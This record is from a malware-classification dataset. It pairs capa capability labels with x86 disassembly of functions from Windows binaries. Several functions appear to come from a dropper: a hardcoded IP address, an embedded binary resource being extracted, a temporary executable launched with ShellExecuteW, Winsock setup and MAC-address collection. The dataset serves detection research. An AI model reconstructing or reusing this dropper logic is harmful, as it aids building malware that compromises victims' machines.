joyce8/EMBER2024-capa huggingface dataset:
Function at 0x449430
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x4795d3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
call fcn.0046c7f0
lea edi, [esi + 0x64]
mov dword [esp + 0x18], 0
mov dword [edi + 4], 0
mov dword [edi], vtable.CBrush.0
mov eax, dword [esp + 0x2c]
mov ebp, dword [esp + 0x24]
mov ecx, dword [esp + 0x30]
mov dword [esi + 0x3c], eax
mov eax, ebp
mov dword [esi], method.CEdit.virtual_0
mov dword [esi + 0x40], ecx
mov dword [esi + 0x44], 0
mov ecx, dword [eax]
lea edx, [esi + 0x48]
mov byte [esp + 0x18], 1
mov dword [edx], ecx
mov ecx, dword [eax + 4]
mov dword [edx + 4], ecx
mov ecx, dword [eax + 8]
mov dword [edx + 8], ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [esp + 0x40]
mov dword [edx + 0xc], eax
mov eax, dword [esp + 0x44]
push eax
mov dword [esi + 0x5c], ecx
mov dword [esi + 0x60], eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
push eax
mov ecx, edi
call fcn.00471e88
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x20]
push edx
push eax
push ebp
push 0x50800044
mov ecx, esi
call fcn.004734e1
test eax, eax
je 0x44954c
mov ecx, dword [esp + 0x3c]
call fcn.00471eb5
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push eax
push 0x30
push ecx
mov dword [esi + 0x58], eax
call ebp
mov edi, dword [esp + 0x34]
test edi, edi
je 0x449510
push edi
mov ecx, esi
call fcn.0046f51d
mov ecx, esi
call fcn.004496b0
cmp dword [esp + 0x38], 1
jne 0x449545
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edx, dword [esi + 0x1c]
push 0xffffffffffffffff
not ecx
dec ecx
push ecx
push 0xb1
push edx
call ebp
mov eax, dword [esi + 0x1c]
push 0
push 0
push 0xb7
push eax
call ebp
mov ecx, esi
call fcn.0046f658
mov ecx, dword [esp + 0x10]
mov eax, esi
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x10
ret 0x28
Function at 0x44bf60
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x10], 0xca
jne 0x44bf93
push esi
call fcn.0044f070
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x44bf8c
mov dword [esi + 0x10], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x10], 0xcb
mov eax, dword [esi + 0x10]
cmp eax, 0xcb
jne 0x44c019
mov eax, dword [esi + 0x1b0]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x44c002
mov eax, dword [esi + 8]
test eax, eax
je 0x44bfb7
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b0]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x44bffe
cmp eax, 2
je 0x44c002
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x44bfaa
cmp eax, 3
je 0x44bfdd
cmp eax, 1
jne 0x44bfaa
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x44bfaa
mov edx, dword [esi + 0x13c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x44bfaa
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.0044c040
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x44c028
mov ecx, dword [esi]
push esi
call dword [ecx]
add esp, 4
push esi
call fcn.0044c040
add esp, 4
pop esi
ret

Function at 0x457b70
Capabilities:
Capture webcam image

Disassembly:
mov eax, dword [esp + 8]
push ebx
push esi
mov esi, ecx
mov eax, dword [eax + 4]
cmp dword [esi + 0xec], 1
jne 0x457c13
test eax, eax
jbe 0x457c13
mov ecx, dword [esi + 0xbc]
test ecx, ecx
jle 0x457c13
mov ecx, dword [esi + 0x1c]
push edi
push 0
push eax
push 0x419
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
mov edi, eax
mov eax, dword [esi + 0xbc]
inc edi
test eax, eax
jne 0x457bbe
xor esi, esi
jmp 0x457bc4
mov esi, dword [esi + 0xb4]
add esi, 4
xor ebx, ebx
test edi, edi
jbe 0x457bef
push ebp
mov ebp, edi
add esi, 6
push esi
call fcn.0040d870
add esi, eax
push esi
mov ebx, esi
call fcn.0040d870
add esp, 8
add esi, eax
dec edi
dec ebp
jne 0x457bd0
pop ebp
test edi, edi
pop edi
jne 0x457c13
test ebx, ebx
je 0x457c13
mov edx, dword [esp + 0x10]
push 0x4e
add edx, 0x10
push ebx
push edx
call fcn.0045c180
add esp, 0xc
mov eax, 1
pop esi
pop ebx
ret 0xc
pop esi
xor eax, eax
pop ebx
ret 0xc
Function at 0x457d55
Capabilities:
Capture webcam image

Disassembly:
sub esp, 0x44
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x457e6d
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x457e6d
mov eax, dword [esi + 0x3c]
push eax
call fcn.0046cc42
mov esi, eax
test esi, esi
je 0x457e6d
mov ebx, dword [esp + 0x58]
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push ebx
push 0x419
push ecx
call ebp
mov edi, eax
test edi, edi
jl 0x457e6d
mov ecx, esi
call fcn.00457cc0
cmp edi, eax
jge 0x457e6d
mov eax, dword [esi + 0xc4]
mov edx, dword [esi + 0xc0]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x5c]
xor ecx, ecx
mov dword [esp + 0x28], edx
cmp eax, ecx
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], ecx
mov dword [esp + 0x4c], ecx
mov dword [esp + 0x50], ecx
mov dword [esp + 0x38], edi
jne 0x457df3
mov dword [esp + 0x34], 1
jmp 0x457e4e
mov edx, dword [esi + 0x1c]
lea ecx, [esp + 0x18]
push ecx
push ebx
push 0x433
push edx
call ebp
test eax, eax
je 0x457e6d
mov eax, dword [esp + 0x60]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x24]
mov dword [esp + 0x10], ecx
mov dword [eax], 0
mov ecx, dword [esi + 0x1c]
lea eax, [esp + 0x10]
add edx, 2
push eax
push ecx
mov dword [esp + 0x1c], edx
call dword [sym.imp.USER32.dll_ClientToScreen]
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
mov dword [esp + 0x34], 3
mov dword [esp + 0x3c], edx
mov dword [esp + 0x40], eax
xor ecx, ecx
push ecx
lea ecx, [esp + 0x2c]
push ecx
push 0x7d8
call fcn.004572a0
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x44
ret 0xc
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x44
ret 0xc

Function at 0x46d5e5
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x46d61d
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0046b672
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0046b64a
jmp 0x46d629
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x46ecda
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x46ed1c
call fcn.004748d2
mov esi, dword [eax + 0xc]
push pe_nt_image_headers32
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x46ed1c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x46ed13
xor eax, eax
jmp 0x46ed24
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0046ed2a
pop edi
pop esi
pop ebx
ret 4
Function at 0x474e02
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x474e30
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x474e4e
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00474d68
jmp 0x474e4e
mov eax, dword [esi + 0x14]
test eax, eax
je 0x474e4e
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.00474d68
test edi, edi
mov eax, edi
jne 0x474e38
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x401000
Capabilities:
Check if file exists
Create process on windows
Get file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x214
mov eax, dword [0x420044]
xor eax, esp
mov dword [esp + 0x210], eax
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_LoadStringW]
push edi
mov edi, dword [ebp + 8]
push 0x64
push 0x422640
push 0x67
push edi
call esi
push 0x64
push 0x422578
push 0x6d
push edi
call esi
mov eax, edi
call fcn.0040118b
mov eax, dword [ebp + 0x10]
mov edx, 0x423148
sub edx, eax
movzx ecx, word [eax]
mov word [edx + eax], cx
inc eax
inc eax
test cx, cx
jne 0x40104f
call fcn.00402db5
push 0x7d0
mov dword [0x421070], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.0040154d
test eax, eax
je 0x401088
call fcn.00403077
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push edi
call fcn.004011fc
pop ecx
test eax, eax
jne 0x4010aa
mov ecx, dword [esp + 0x21c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00408c42
mov esp, ebp
pop ebp
ret 0x10
xor eax, eax
push 0x206
push eax
mov word [esp + 0x18], ax
lea eax, [esp + 0x1a]
push eax
call fcn.0040db70
mov ecx, dword [0x422d90]
add esp, 0xc
test ecx, ecx
jbe 0x4010ee
cmp word [0x422d94], 0
jbe 0x4010ee
mov esi, str.218.54.31.226
call fcn.00402d51
mov ax, word [0x422d94]
mov word [0x421618], ax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x3e8
xor edx, edx
mov esi, ecx
div esi
xor edx, edx
mov ebx, 0x423350
div ecx
push edx
push str.tmp8_X.exe
push ebx
call fcn.0040277b
add esp, 0xc
call fcn.00401f45
lea edi, [esp + 0x10]
call fcn.00402796
push 0x41bc60
mov esi, 0x104
mov eax, edi
push esi
push eax
call fcn.00408c51
add esp, 0xc
push ebx
mov eax, edi
push esi
push eax
call fcn.00408c51
add esp, 0xc
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x401176
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
xor eax, eax
push eax
push 0x41bdd8
mov ecx, edi
push ecx
push eax
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00402189
jmp 0x401080
Function at 0x4011fc
Capabilities:
Create thread
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3e0
mov eax, dword [0x420044]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
xor esi, esi
push esi
push eax
push esi
push esi
push esi
mov dword [0x422708], eax
mov eax, closesocket
push eax
push esi
push eax
push 0xcf0000
push 0x422640
push 0x422578
push esi
call dword [sym.imp.USER32.dll_CreateWindowExW]
test eax, eax
jne 0x40124a
xor eax, eax
jmp 0x4013d5
xor eax, eax
push 0x206
mov word [ebp - 0x24c], ax
lea eax, [ebp - 0x24a]
push esi
push eax
call fcn.0040db70
add esp, 0xc
lea eax, [ebp - 0x3dc]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 1
mov edi, 0x422ec8
call fcn.004055e0
pop ecx
push 2
pop ebx
test eax, eax
jne 0x40134d
push 0x3a
mov word [ebp - 0x44], ax
lea eax, [ebp - 0x42]
push esi
push eax
call fcn.0040db70
add esp, 0xc
lea edi, [ebp - 0x44]
call fcn.004014bf
xor eax, eax
movzx ecx, word [ebp + eax - 0x44]
mov word [eax + 0x423070], cx
add eax, ebx
cmp cx, si
jne 0x4012af
push 0x41bc64
push 0x40
push 0x422ecc
call fcn.00408cfa
add esp, 0xc
push 0x51
pop eax
push str.AAAA
push 0x10
push 0x422f4e
mov word [0x422f4c], ax
call fcn.00408cfa
add esp, 0xc
push 0x41bc8c
push 0x40
push 0x422f6e
call fcn.00408cfa
mov eax, 0x2b66
add esp, 0xc
mov word [0x422fee], ax
xor eax, eax
movzx ecx, word [ebp + eax - 0x44]
mov word [eax + 0x423050], cx
add eax, ebx
cmp cx, si
jne 0x401314
mov edi, 0x423050
dec edi
dec edi
mov ax, word [edi + 2]
add edi, ebx
cmp ax, si
jne 0x40132e
mov esi, 0x41bca8
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov dword [0x423090], 5
xor esi, esi
call fcn.00402657
lea edi, [ebp - 0x24c]
call fcn.004014bf
xor eax, eax
movzx ecx, word [ebp + eax - 0x24c]
mov word [eax + 0x4230c8], cx
add eax, ebx
cmp cx, si
jne 0x40135f
mov edi, 0x4230c8
push edi
push esi
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
cmp eax, esi
je 0x401397
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x401243
push edi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventW]
test eax, eax
je 0x401243
mov ebx, 0x423558
call fcn.00402529
mov eax, dword [0x423094]
push esi
push esi
push esi
push 0x4026e0
push esi
push esi
mov dword [0x423560], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x42161c], eax
xor eax, eax
inc eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00408c42
leave
ret
Function at 0x402009
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x434
mov eax, dword [0x420044]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push dword [ebp + 0xc]
mov dword [ebp - 0x430], eax
push eax
call fcn.00404ecb
pop ecx
pop ecx
mov dword [ebp - 0x42c], eax
test eax, eax
jne 0x40217a
mov esi, 0x206
push esi
push eax
mov word [ebp - 0x220], ax
lea eax, [ebp - 0x21e]
push eax
call fcn.0040db70
add esp, 0xc
xor eax, eax
push esi
push eax
mov word [ebp - 0x428], ax
lea eax, [ebp - 0x426]
push eax
call fcn.0040db70
add esp, 0xc
lea edi, [ebp - 0x220]
call fcn.00402796
push 0x41bc60
mov esi, 0x104
mov eax, edi
push esi
push eax
call fcn.00408c51
mov byte [ebp - 0x18], 0
add esp, 0xc
xor eax, eax
lea edi, [ebp - 0x17]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ebx, 0x422718
cmp word [ebx], 0
je 0x40210a
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x428]
push esi
push eax
call fcn.00408cfa
add esp, 0xc
push ebx
lea eax, [ebp - 0x428]
push esi
push eax
call fcn.00408c51
lea eax, [ebp - 0x428]
add esp, 0xc
push eax
lea ecx, [ebp - 0x18]
call fcn.00404638
pop ecx
test eax, eax
je 0x40210a
push 5
pop ecx
lea edi, [ebx + 0x104]
lea esi, [ebp - 0x18]
xor eax, eax
repe cmpsd dword [esi], dword es:[edi]
mov esi, 0x104
jne 0x40210a
mov word [ebx], ax
add ebx, 0x118
cmp ebx, 0x422c90
jl 0x4020ae
mov edi, 0x422718
cmp word [edi], 0
je 0x402135
push dword [ebp + 0xc]
mov ecx, edi
push dword [ebp - 0x430]
call fcn.004050f9
pop ecx
pop ecx
add edi, 0x118
cmp edi, 0x422c90
jl 0x40211d
push 0x423350
lea eax, [ebp - 0x220]
push esi
push eax
call fcn.00408c51
add esp, 0xc
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x402174
mov dword [ebp - 0x42c], 2
mov eax, dword [ebp - 0x42c]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00408c42
leave
ret
Function at 0x4023d9
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
push dword [ebp + 8]
xor ebx, ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402402
push dword [ebp + 8]
call fcn.00402e51
pop ecx
cmp eax, dword [ebp + 0x10]
jne 0x402402
inc ebx
jmp 0x402472
mov edi, 0x200000
push edi
call fcn.00408e58
pop ecx
mov esi, eax
push esi
push dword [ebp + 0x10]
mov dword [ebp - 4], edi
push dword [ebp + 0xc]
lea edi, [ebp - 4]
call fcn.0040578c
add esp, 0xc
test eax, eax
je 0x40246b
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00408d69
pop ecx
push 0x32
mov eax, 0xc8
call fcn.004027f0
mov edi, dword [ebp - 4]
pop ecx
push eax
lea ebx, [edi + esi]
mov dword [ebp + 0x10], eax
call fcn.00403005
add edi, dword [ebp + 0x10]
pop ecx
push edi
push esi
push dword [ebp + 8]
call fcn.004056d7
add esp, 0xc
mov ebx, eax
dec ebx
neg ebx
sbb ebx, ebx
inc ebx
push esi
call fcn.00408f22
pop ecx
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret

Function at 0x402479
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push edi
push 0x41bdc8
push dword [ebp + 8]
lea eax, [ebp - 4]
xor edi, edi
push eax
mov dword [ebp - 4], edi
call fcn.00409076
add esp, 0xc
test eax, eax
je 0x4024a3
xor eax, eax
jmp 0x402526
push ebx
push esi
push 2
push edi
push dword [ebp - 4]
call fcn.00409153
push dword [ebp - 4]
call fcn.00409375
push edi
push edi
push dword [ebp - 4]
mov esi, eax
call fcn.00409153
lea eax, [esi + 0x32]
push eax
mov dword [ebp - 8], eax
call fcn.00408e58
push dword [ebp - 4]
mov edi, eax
push 1
push esi
push edi
call fcn.00409683
push dword [ebp - 4]
call fcn.00409717
push 0x32
lea ebx, [edi + esi]
call fcn.00403005
push 0x41bdd0
push dword [ebp + 0xc]
lea eax, [ebp - 4]
push eax
call fcn.00409076
add esp, 0x44
pop esi
pop ebx
test eax, eax
jne 0x40249c
push dword [ebp - 4]
push 1
push dword [ebp - 8]
push edi
call fcn.004098f5
push dword [ebp - 4]
call fcn.00409717
xor eax, eax
add esp, 0x14
inc eax
pop edi
leave
ret

Function at 0x40289c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push ebp
push edi
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push str.IDR_BINARY
mov ebx, eax
push 0x82
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov ebp, eax
cmp ebp, edi
je 0x402909
push esi
push ebp
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push ebp
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebp, eax
mov eax, dword [esp + 0x14]
push esi
mov dword [eax], esi
call fcn.00409b81
push esi
mov edi, eax
push 0
push edi
call fcn.0040db70
push esi
push ebp
push edi
call fcn.0040e700
add esp, 0x1c
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop esi
mov eax, edi
pop edi
pop ebp
pop ebx
ret
Function at 0x402a3d
Capabilities:
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov eax, dword [0x420044]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
or dword [ebp - 0x2c], 0xffffffff
push ebx
mov dword [ebp - 0x40], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x38], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x3c], eax
xor eax, eax
push 7
mov word [ebp - 0x24], ax
pop ecx
lea edi, [ebp - 0x22]
rep stosd dword es:[edi], eax
mov esi, 0x288
push esi
stosw word es:[edi], ax
xor ebx, ebx
call fcn.00408e58
pop ecx
lea ecx, [ebp - 0x34]
push ecx
push eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x34], esi
call sub.IPHLPAPI.DLL_GetAdaptersInfo
cmp eax, 0x6f
jne 0x402aae
push dword [ebp - 0x28]
call fcn.00408f22
push dword [ebp - 0x34]
call fcn.00408e58
pop ecx
pop ecx
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x34]
push eax
push dword [ebp - 0x28]
call sub.IPHLPAPI.DLL_GetAdaptersInfo
test eax, eax
jne 0x402b68
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x30], eax
cmp eax, ebx
je 0x402b68
jmp 0x402ad5
mov eax, dword [ebp - 0x30]
mov edi, dword [ebp - 0x40]
inc dword [ebp - 0x2c]
test edi, edi
je 0x402ae8
lea esi, [eax + 0x194]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea esi, [eax + 0x1ac]
test esi, esi
je 0x402b57
lea edi, [esi + 4]
mov eax, edi
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402afa
sub eax, ecx
cmp eax, 0x10
jle 0x402b0b
push 0x10
pop eax
xor ecx, ecx
test eax, eax
jl 0x402b2b
cmp ecx, eax
jne 0x402b1c
xor edx, edx
mov word [ebp + ecx*2 - 0x24], dx
movsx dx, byte [edi + ecx]
mov word [ebp + ecx*2 - 0x24], dx
inc ecx
cmp ecx, eax
jle 0x402b13
lea eax, [ebp - 0x24]
push eax
call fcn.00402c34
pop ecx
test eax, eax
je 0x402b4d
lea eax, [ebp - 0x24]
push eax
mov eax, dword [ebp - 0x38]
push 0x10
push dword [eax + ebx*4]
call fcn.00408cfa
add esp, 0xc
mov esi, dword [esi]
inc ebx
test esi, esi
jne 0x402af2
mov eax, dword [ebp - 0x30]
test ebx, ebx
jg 0x402b68
mov eax, dword [eax]
mov dword [ebp - 0x30], eax
test eax, eax
jne 0x402ad2
cmp dword [ebp - 0x28], 0
mov eax, dword [ebp - 0x3c]
pop edi
pop esi
mov dword [eax], ebx
pop ebx
je 0x402b7f
push dword [ebp - 0x28]
call fcn.00408f22
pop ecx
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x2c]
xor ecx, ebp
call fcn.00408c42
leave
ret
Function at 0x402db5
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0xa0]
sub esp, 0x120
mov eax, dword [0x420044]
xor eax, ebp
mov dword [ebp + 0x9c], eax
push esi
push 0x118
xor esi, esi
lea eax, [ebp - 0x7c]
push esi
push eax
call fcn.0040db70
add esp, 0xc
lea eax, [ebp - 0x80]
push eax
mov dword [ebp - 0x80], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x402e39
cmp dword [ebp - 0x7c], 5
mov eax, dword [ebp - 0x78]
jne 0x402e23
test eax, eax
jne 0x402e12
cmp word [ebp + 0x94], 4
jb 0x402e39
inc esi
cmp eax, 2
jne 0x402e19
push eax
pop esi
jae 0x402e20
cmp eax, 1
jne 0x402e39
push 3
pop esi
cmp dword [ebp - 0x7c], 6
jne 0x402e39
test eax, eax
jne 0x402e31
push 4
jmp 0x402e38
cmp eax, 1
jne 0x402e39
push 5
pop esi
mov ecx, dword [ebp + 0x9c]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00408c42
add ebp, 0xa0
leave
ret

Function at 0x402e51
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
xor eax, eax
push eax
push eax
push 3
push eax
push 3
push closesocket
push dword [ebp + 8]
or esi, 0xffffffff
mov ebx, esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, esi
jne 0x402e80
mov edx, esi
jmp 0x402e9f
lea eax, [ebp - 0xc]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
cmp eax, 1
jne 0x402e96
mov esi, dword [ebp - 0xc]
mov ebx, dword [ebp - 8]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret

Function at 0x402f70
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x420044]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
call fcn.0040db70
add esp, 0xc
cmp dword [0x421070], 3
lea eax, [ebp - 0x20c]
jne 0x402fd6
push esi
mov esi, 0x104
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x41bc60
lea eax, [ebp - 0x20c]
push esi
push eax
call fcn.00408c51
add esp, 0xc
pop esi
jmp 0x402fe2
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push edi
lea eax, [ebp - 0x20c]
push eax
push str._s_s.exe
push ebx
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
add esp, 0x10
call fcn.00408c42
leave
ret